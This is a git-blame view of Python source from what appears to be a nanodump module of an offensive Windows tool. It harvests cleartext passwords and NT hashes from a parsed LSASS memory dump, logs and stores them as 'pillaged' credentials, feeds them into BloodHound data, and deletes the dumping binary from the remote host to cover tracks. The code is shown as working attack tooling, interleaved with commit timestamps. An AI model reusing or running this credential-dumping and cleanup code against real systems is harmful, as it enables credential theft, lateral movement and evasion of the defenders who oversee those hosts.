2023-04-30 21:24:18 +00:00
|
|
|
"msv_creds",
|
|
|
|
"wdigest_creds",
|
|
|
|
"ssp_creds",
|
|
|
|
"livessp_creds",
|
|
|
|
"kerberos_creds",
|
|
|
|
"credman_creds",
|
2023-05-02 15:17:59 +00:00
|
|
|
"tspkg_creds",
|
2023-04-06 00:42:51 +00:00
|
|
|
]
|
|
|
|
|
2022-02-23 20:09:19 +00:00
|
|
|
for luid in pypy_parse.logon_sessions:
|
|
|
|
for ssp in ssps:
|
2023-05-08 18:39:36 +00:00
|
|
|
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
|
2022-02-23 20:09:19 +00:00
|
|
|
domain = getattr(cred, "domainname", None)
|
|
|
|
username = getattr(cred, "username", None)
|
|
|
|
password = getattr(cred, "password", None)
|
|
|
|
NThash = getattr(cred, "NThash", None)
|
|
|
|
if NThash is not None:
|
|
|
|
NThash = NThash.hex()
|
2023-05-08 18:39:36 +00:00
|
|
|
if username and (password or NThash) and "$" not in username:
|
2022-06-23 23:04:39 +00:00
|
|
|
if password:
|
|
|
|
credtype = "password"
|
|
|
|
credential = password
|
|
|
|
else:
|
|
|
|
credtype = "hash"
|
|
|
|
credential = NThash
|
2023-05-08 18:39:36 +00:00
|
|
|
self.context.log.highlight(f"{domain}\\{username}:{credential}")
|
|
|
|
host_id = self.context.db.get_hosts(self.connection.host)[0][0]
|
2023-04-30 21:24:18 +00:00
|
|
|
self.context.db.add_credential(
|
2023-04-06 00:42:51 +00:00
|
|
|
credtype,
|
|
|
|
connection.domain,
|
|
|
|
username,
|
|
|
|
credential,
|
2023-05-02 15:17:59 +00:00
|
|
|
pillaged_from=host_id,
|
2023-04-06 00:42:51 +00:00
|
|
|
)
|
2023-05-08 18:39:36 +00:00
|
|
|
if "." not in domain and domain.upper() in self.connection.domain.upper():
|
2023-04-30 21:24:18 +00:00
|
|
|
domain = self.connection.domain
|
2023-05-02 15:17:59 +00:00
|
|
|
bh_creds.append(
|
|
|
|
{
|
|
|
|
"username": username.upper(),
|
|
|
|
"domain": domain.upper(),
|
|
|
|
}
|
|
|
|
)
|
2023-04-06 00:42:51 +00:00
|
|
|
if len(bh_creds) > 0:
|
2023-05-08 18:39:36 +00:00
|
|
|
add_user_bh(bh_creds, None, self.context.log, self.connection.config)
|
2022-02-23 20:09:19 +00:00
|
|
|
except Exception as e:
|
2023-04-30 21:24:18 +00:00
|
|
|
self.context.log.fail(f"Error opening dump file: {e}")
|
|
|
|
|
|
|
|
def delete_nanodump_binary(self):
|
|
|
|
try:
|
2023-09-18 19:00:39 +00:00
|
|
|
self.connection.execute(f"del {self.remote_tmp_dir + self.nano}")
|
2023-04-30 21:24:18 +00:00
|
|
|
self.context.log.success(f"Deleted nano file on the {self.share} dir")
|
|
|
|
except Exception as e:
|
2023-09-18 19:00:39 +00:00
|
|
|
self.context.log.fail(f"[OPSEC] Error deleting nano file on dir {self.remote_tmp_dir}: {e}")
|